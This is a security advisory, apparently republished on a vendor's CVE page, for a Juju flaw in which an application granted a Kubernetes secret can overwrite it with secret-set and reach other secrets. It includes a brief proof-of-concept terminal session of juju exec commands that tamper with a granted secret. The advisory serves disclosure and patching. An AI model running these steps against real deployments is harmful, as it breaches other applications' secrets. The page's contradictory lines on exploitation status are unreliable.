Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-439w-v2p7-pggc
No affected components available
Summary
Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.
Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.
Details
When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.
Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.
PoC
Tested:
- two applications in the same controller, same model: one owns the secret, another get a grant
- relation between them
- secret grant
- Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI
Not tested:
- admin (user) secrets
- cross-model relations
- cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
workload-version: 24.2.0
opened-ports: []
charm: ch:amd64/nginx-ingress-integrator-203
leader: true
life: alive
relation-info:
- relation-id: 11
endpoint: ingress
related-endpoint: ingress
application-data: {}
related-units:
evilator/0:
in-scope: true
data:
egress-subnets: 10.152.183.39/32
ingress-address: 10.152.183.39
private-address: 10.152.183.39
- relation-id: 10
endpoint: nginx-peers
related-endpoint: nginx-peers
application-data: {}
local-unit:
in-scope: true
data:
egress-subnets: 10.152.183.135/32
ingress-address: 10.152.183.135
private-address: 10.152.183.135
provider-id: ingress2-0
address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11"
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now"
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0"
nice: who-is-nice-now
When the grantee attempts to update the the granted secret:
secret-setcommand logs an error, though returns OK return status- the secret value is updated
- new secret revision is not created
- new value is visible to both owner and grantee
Impact
- the application that owns the secret
- a third application, if a secret is granted to multiple parties
- any other application that has secrets in the same Kubernetes secret backend
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard